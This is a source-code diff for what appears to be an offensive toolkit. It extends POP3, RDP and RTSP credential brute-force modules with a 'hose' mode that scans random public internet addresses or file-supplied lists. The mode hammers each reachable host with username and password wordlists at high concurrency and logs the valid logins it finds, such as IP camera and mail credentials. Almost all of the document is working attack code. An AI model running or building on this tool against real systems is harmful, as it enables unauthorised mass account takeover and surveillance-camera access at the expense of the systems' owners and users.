let default_port = if use_ssl { 995 } else { 110 };
|
||||
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output result file", "pop3_mass_results.txt").await?;
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Semaphore closed, exit loop
|
||||
};
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await
|
||||
.context(format!("Failed to read target file: {}", target))?;
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => continue, // Skip this IP if semaphore closed
|
||||
};
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>, bool)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes, use_ssl) = &*creds;
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
// Construct a config for the attempt function
|
||||
// We can't reuse the large config struct easily without creating dummy values,
|
||||
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
|
||||
// For now, I'll build a dummy config.
|
||||
let dummy_wordlist = "dummy".to_string();
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let t_target = target_str.clone();
|
||||
let t_user = user.clone();
|
||||
let t_pass = pass.clone();
|
||||
let t_use_ssl = *use_ssl;
|
||||
let dw = dummy_wordlist.clone();
|
||||
|
||||
// Blocking call
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
let config = Pop3BruteforceConfig {
|
||||
target: t_target,
|
||||
port,
|
||||
username_wordlist: dw.clone(),
|
||||
password_wordlist: dw.clone(),
|
||||
threads: 1,
|
||||
stop_on_success: false,
|
||||
verbose,
|
||||
full_combo: false,
|
||||
use_ssl: t_use_ssl,
|
||||
connection_timeout: 5, // 5 seconds for login attempt
|
||||
retry_on_error: false,
|
||||
max_retries: 0,
|
||||
output_file: "".to_string(),
|
||||
delay_ms: 0,
|
||||
};
|
||||
attempt_pop3_login(&config, &t_user, &t_pass)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", ip, user, pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
// Auth failed
|
||||
}
|
||||
Ok(Err(_)) => {
|
||||
// Connection error - abort this host
|
||||
return;
|
||||
}
|
||||
Err(_) => {
|
||||
// Start/Join error
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
// Determine loading strategy
|
||||
let _user_count = count_lines(&config.username_wordlist)?;
|
||||
let _pass_count = count_lines(&config.password_wordlist)?;
|
||||
let _user_count = load_lines(&config.username_wordlist)?.len();
|
||||
let _pass_count = load_lines(&config.password_wordlist)?.len();
|
||||
|
||||
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
|
||||
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
|
||||
@@ -250,12 +462,7 @@ async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn count_lines(path: &str) -> Result<usize> {
|
||||
let file = std::fs::File::open(path)?;
|
||||
let reader = std::io::BufReader::new(file);
|
||||
use std::io::BufRead;
|
||||
Ok(reader.lines().count())
|
||||
}
|
||||
|
||||
|
||||
// Blocking login attempt
|
||||
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
|
||||
|
||||
@@ -1,21 +1,26 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
path::Path,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncBufReadExt, AsyncWriteExt},
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_default, prompt_port,
|
||||
prompt_wordlist, prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir,
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB
|
||||
|
||||
@@ -246,74 +251,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389").await?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
let port: u16 = prompt_port("RDP Port", 3389).await?;
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path").await?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let usernames_file_path = prompt_wordlist("Username wordlist").await?;
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path").await?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
let passwords_file_path = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10").await?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10").await?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
@@ -337,14 +283,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
// Count lines for display
|
||||
let user_count = count_lines(&usernames_file_path)?;
|
||||
let user_count = load_lines(&usernames_file_path)?.len();
|
||||
if user_count == 0 {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", user_count);
|
||||
|
||||
let password_count = count_lines(&passwords_file_path)?;
|
||||
let password_count = load_lines(&passwords_file_path)?.len();
|
||||
if password_count == 0 {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
@@ -421,7 +367,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
match File::create(&filename).context(format!("Failed to create output file '{}'", filename.display())) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
@@ -432,7 +378,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
eprintln!("[!] {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1025,115 +971,13 @@ async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_dura
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut s)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut s)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut s = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut s)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|line| !line.trim().is_empty())
|
||||
.count())
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"rdp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
fn sanitize_rdp_argument(input: &str) -> String {
|
||||
input.chars()
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
@@ -6,31 +6,52 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
net::SocketAddr,
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::sleep,
|
||||
time::{sleep, timeout},
|
||||
process::Command,
|
||||
fs::OpenOptions,
|
||||
};
|
||||
use rand::Rng;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
|
||||
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range, prompt_port,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "rtsp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc) - Copied from telnet_hose
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "║ Modes: Single Target & Mass Scan (Hose) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
@@ -38,10 +59,23 @@ fn display_banner() {
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
// If target is "random", "0.0.0.0", "0.0.0.0/0", or looks like a file path (and we can assume it's a file list)
|
||||
// Note: The caller usually handles file loading for specific modules, but for "hose" modules like telnet_hose, passing the file path is common.
|
||||
// We'll treat it as mass scan if it's explicitly "random" OR "0.0.0.0" OR if it points to an existing file.
|
||||
// Simple heuristic: if we can open it as a file, treat as file list for mass scan.
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
let port: u16 = prompt_default("RTSP Port", "554").await?
|
||||
.parse().unwrap_or(554);
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
if is_mass_scan {
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let port: u16 = prompt_port("RTSP Port", 554).await?;
|
||||
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
@@ -72,7 +106,26 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
|
||||
let implicit_path = extract_rtsp_path(target);
|
||||
|
||||
// Normalize target and add port if needed
|
||||
let target_normalized = if target.starts_with("rtsp://") {
|
||||
target.strip_prefix("rtsp://")
|
||||
.unwrap()
|
||||
.split('/')
|
||||
.next()
|
||||
.unwrap_or(target)
|
||||
} else {
|
||||
target.split('/').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
let normalized = normalize_target(target_normalized)?;
|
||||
let addr = if normalized.contains(':') {
|
||||
normalized
|
||||
} else {
|
||||
format!("{}:{}", normalized, port)
|
||||
};
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
|
||||
@@ -134,10 +187,6 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
// Use loop structure from other modules or this module's custom loop?
|
||||
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
|
||||
// I will preserve the original logic flow.
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
@@ -212,9 +261,6 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
|
||||
// The semaphore logic above (acquire_owned) already throttles concurrency.
|
||||
}
|
||||
}
|
||||
idx += 1;
|
||||
@@ -258,6 +304,282 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run mass scan logic (Hose style)
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep wordlists
|
||||
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
|
||||
|
||||
let port: u16 = prompt_port("RTSP Port", 554).await?;
|
||||
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
let paths_file = prompt_wordlist("RTSP paths file (empty for none/root)").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
|
||||
if users.is_empty() || pass_lines.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
|
||||
let output_file = prompt_default("Output result file", "rtsp_mass_results.txt").await?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
// Shared State
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines, paths));
|
||||
|
||||
// Stats Reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} RTSP streams found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
// Deduplication check
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
// Try parse IP, or resolve? For mass scan usually IP lists. We'll try resolve if parsing fails.
|
||||
// But to keep it simple and aligned with "hose" logic which normally takes IPs:
|
||||
let ip_addr = match ip_str.parse::<IpAddr>() {
|
||||
Ok(ip) => Some(ip),
|
||||
Err(_) => {
|
||||
// Try resolve
|
||||
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
|
||||
Ok(mut iter) => iter.next().map(|s| s.ip()),
|
||||
Err(_) => None
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Some(ip) = ip_addr {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for finish
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check (Fast Fail)
|
||||
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. Bruteforce
|
||||
let (users, passes, paths) = &*creds;
|
||||
|
||||
// Helper to cleanup repetitive calls
|
||||
// We iterate: Path -> User -> Pass ? Or User -> Pass -> Path?
|
||||
// RTSP paths are important. Often root works.
|
||||
|
||||
for path in paths {
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
// We use the existing try_rtsp_login.
|
||||
// It does re-connect, which is not optimal but robust.
|
||||
let addrs = [sa];
|
||||
let empty_headers: Vec<String> = Vec::new();
|
||||
|
||||
// For mass scan, we assume standard DESCRIBE or OPTIONS is fine.
|
||||
// try_rtsp_login defaults to OPTIONS if None, let's use DESCRIBE if we want to check stream?
|
||||
